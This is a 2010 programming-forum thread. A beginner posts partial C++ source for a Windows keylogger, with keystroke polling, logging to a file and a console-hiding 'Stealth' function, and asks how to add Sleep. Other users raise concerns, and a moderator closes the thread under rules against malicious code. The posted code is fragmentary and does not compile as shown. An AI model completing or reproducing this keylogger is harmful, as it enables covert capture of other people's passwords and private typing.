Thread: How to get (sleep) to work with a program?

  1. #1
    Registered User
    Join Date
    Aug 2010

    Question How to get (sleep) to work with a program?

    Hello, this is my first post, and hopefully not my last post. I am fairly new to C++ and the whole programming game, but I would really like to learn it.

    I saw a video the other day that helped me make a basic Key Logger. Yes, I know that this can be frowned upon, but I promise I won't use it against anyone over the internet! The issue that I was having was when the program was running, my computer was getting really noisy, so I assumed the CPU was being used alot. I heard about this (sleep) function that could help me out, but I don't know how to attatch it.

    Here is my code:

    #include <iostream>
    using namespace std;
    #include <windows.h>
    #include <Winuser.h>
    #include <dos.h>
    int Save (int key_stroke, char *file);
    void Stealth();
    int main()
        char i;
        while (1)
           for(i = 8; i <= 190; i++)
              if (GetAsyncKeyState(i) == -32767)
                Save (i, "LOG.TXT");  
        system ("PAUSE");
        return 0;
    /* ********************************************** */
    /* ********************************************** */
    int Save (int key_stroke, char *file)
        if ( (key_stroke == 1) || (key_stroke ==2) )
            return 0;
        OUTPUT_FILE = fopen(file, "a+");
        cout << key_stroke << endl;    
        if (key_stroke == 8)
            fprintf(OUTPUT_FILE, "%s", "[BACKSPACE]\n");
        else if (key_stroke == 32)
            fprintf(OUTPUT_FILE, "%s", " ");
        else if (key_stroke == 64)
            fprintf(OUTPUT_FILE, "%s", "[==at==]\n");    
        else if (key_stroke == VK_TAB)
            fprintf(OUTPUT_FILE, "%s", "[TAB]\n");
        else if (key_stroke == VK_SHIFT)
            fprintf(OUTPUT_FILE, "%s", "[SHIFT]\n");
        else if (key_stroke == VK_CONTROL)
            fprintf(OUTPUT_FILE, "%s", "[CONTROL]\n");
        else if (key_stroke == VK_ESCAPE)
            fprintf(OUTPUT_FILE, "%s", "[ESCAPE]\n");
        else if (key_stroke == VK_END)
            fprintf(OUTPUT_FILE, "%s", "[END]\n");
        else if (key_stroke == VK_HOME)
            fprintf(OUTPUT_FILE, "%s", "[HOME]\n");
        else if (key_stroke == VK_LEFT)
            fprintf(OUTPUT_FILE, "%s", "[LEFT]\n");
        else if (key_stroke == VK_UP)
            fprintf(OUTPUT_FILE, "%s", "[UP]\n");
        else if (key_stroke == VK_RIGHT)
            fprintf(OUTPUT_FILE, "%s", "[RIGHT]\n");
        else if (key_stroke == VK_DOWN)
            fprintf(OUTPUT_FILE, "%s", "[DOWN]\n");
        else if (key_stroke == 190 || key_stroke == 110)
            fprintf(OUTPUT_FILE, "%s", ".");
            fprintf(OUTPUT_FILE, "%s", &key_stroke);
        return 0;
    /* ********************************************** */
    /* ********************************************** */
    void Stealth()
        HWND stealth;
        stealth = FindWindowA("ConsoleWindowClass", NULL);
    Thanks alot, RialnisMada!

  2. #2
    Registered User
    Join Date
    Mar 2007
    Sleep() is not the same as sleep().

  3. #3
    Registered User
    Join Date
    Aug 2010
    True that, but I'm pretty sure people understand what I mean...

  4. #4
    Join Date
    Dec 2007
    I smell a keylogger...

  5. #5
    Registered User
    Join Date
    Aug 2010
    Honestly? I said in the description that I'm making a key logger. I know it's not cool to some people, but I think this is a big accomplishment, so can anyone help me or not?!

  6. #6
    C++ Witch laserlight's Avatar
    Join Date
    Oct 2003
    Unfortunately, despite the good intentions, I believe that this goes against one of our forum guidelines:
    5. Messages relating to cracking, (erroneously called "hacking" by many), copyright violations, or other illegal activities will be deleted. Due to the overlapping boundaries of code with malicious intent, and other legitimate uses of it, the moderators will assess each potential infraction on a case by case basis.
    *thread closed*
    Quote Originally Posted by Bjarne Stroustrup (2000-10-14)
    I get maybe two dozen requests for help with some sort of programming or design problem every day. Most have more sense than to send me hundreds of lines of code. If they do, I ask them to find the smallest example that exhibits the problem and send me that. Mostly, they then find the error themselves. "Finding the smallest program that demonstrates the error" is a powerful debugging tool.
    Look up a C++ Reference and learn How To Ask Questions The Smart Way

Popular pages Recent additions subscribe to a feed

Similar Threads

  1. my program doesnt work
    By eagle0eyes in forum C Programming
    Replies: 7
    Last Post: 05-31-2010, 12:25 PM
  2. Can not get this program to work?
    By BLG in forum C Programming
    Replies: 9
    Last Post: 09-09-2009, 09:28 AM
  3. Program Plan
    By Programmer_P in forum C++ Programming
    Replies: 0
    Last Post: 05-11-2009, 01:42 AM
  4. Program doesnt work properly.
    By +Azazel+ in forum C Programming
    Replies: 4
    Last Post: 10-12-2007, 06:57 AM
  5. Can't Get This Program To Work Properly
    By jbyers19 in forum C Programming
    Replies: 5
    Last Post: 03-09-2006, 10:59 PM

Tags for this Thread